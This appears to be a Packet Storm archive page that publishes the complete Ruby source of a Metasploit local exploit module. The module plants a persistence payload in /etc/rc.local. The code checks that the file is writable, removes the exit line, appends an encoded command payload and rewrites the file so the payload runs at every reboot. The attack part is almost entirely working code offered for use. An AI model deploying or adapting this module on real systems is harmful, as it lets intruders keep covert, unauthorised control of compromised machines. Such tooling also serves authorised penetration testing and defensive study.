exploit the possibilities

rc.local Payload Persistence Module

rc.local Payload Persistence Module
Posted Aug 20, 2018
Authored by Eliott Teissonniere | Site metasploit.com

This Metasploit module will edit /etc/rc.local in order to persist a payload. The payload will be executed on the next reboot.

tags | exploit, local
MD5 | d4772244e9b4b91ce7ea4d3dd6a911c6

rc.local Payload Persistence Module

Change Mirror Download
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Local
Rank = ExcellentRanking

include Msf::Post::File
include Msf::Post::Unix

def initialize(info = {})
super(update_info(info,
'Name' => 'rc.local Persistence',
'Description' => %q(
This module will edit /etc/rc.local in order to persist a payload.
The payload will be executed on the next reboot.
),
'License' => MSF_LICENSE,
'Author' => [ 'Eliott Teissonniere' ],
'Platform' => [ 'unix', 'linux' ],
'Arch' => ARCH_CMD,
'Payload' => {
'BadChars' => "#%\n",
'Compat' => {
'PayloadType' => 'cmd',
'RequiredCmd' => 'generic python ruby netcat perl'
}
},
'SessionTypes' => [ 'shell', 'meterpreter' ],
'DefaultOptions' => { 'WfsDelay' => 0, 'DisablePayloadHandler' => 'true' },
'DisclosureDate' => 'Oct 01 1980', # The rc command appeared in 4.0BSD.
'Targets' => [ ['Automatic', {}] ],
'DefaultTarget' => 0
))
end

def exploit
unless cmd_exec("test -w '/etc/rc.local' && echo true").include? 'true'
fail_with Failure::BadConfig, '/etc/rc.local is not writable'
end

print_status('Reading /etc/rc.local')

# read /etc/rc.local, but remove `exit 0`
rc_local = read_file('/etc/rc.local').gsub(/^exit.*$/, '')

# add payload and put back `exit 0`
rc_local << "\n#{payload.encoded}\nexit 0\n"

# write new file
print_status('Patching /etc/rc.local')
write_file('/etc/rc.local', rc_local)
end
end


Comments

RSS Feed Subscribe to this comment feed

No comments yet, be the first!

Login or Register to post a comment

File Archive:

May 2019

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    May 1st
    16 Files
  • 2
    May 2nd
    8 Files
  • 3
    May 3rd
    8 Files
  • 4
    May 4th
    2 Files
  • 5
    May 5th
    1 Files
  • 6
    May 6th
    15 Files
  • 7
    May 7th
    22 Files
  • 8
    May 8th
    16 Files
  • 9
    May 9th
    17 Files
  • 10
    May 10th
    16 Files
  • 11
    May 11th
    3 Files
  • 12
    May 12th
    4 Files
  • 13
    May 13th
    25 Files
  • 14
    May 14th
    24 Files
  • 15
    May 15th
    78 Files
  • 16
    May 16th
    16 Files
  • 17
    May 17th
    16 Files
  • 18
    May 18th
    2 Files
  • 19
    May 19th
    1 Files
  • 20
    May 20th
    11 Files
  • 21
    May 21st
    21 Files
  • 22
    May 22nd
    20 Files
  • 23
    May 23rd
    36 Files
  • 24
    May 24th
    2 Files
  • 25
    May 25th
    0 Files
  • 26
    May 26th
    0 Files
  • 27
    May 27th
    0 Files
  • 28
    May 28th
    0 Files
  • 29
    May 29th
    0 Files
  • 30
    May 30th
    0 Files
  • 31
    May 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2019 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close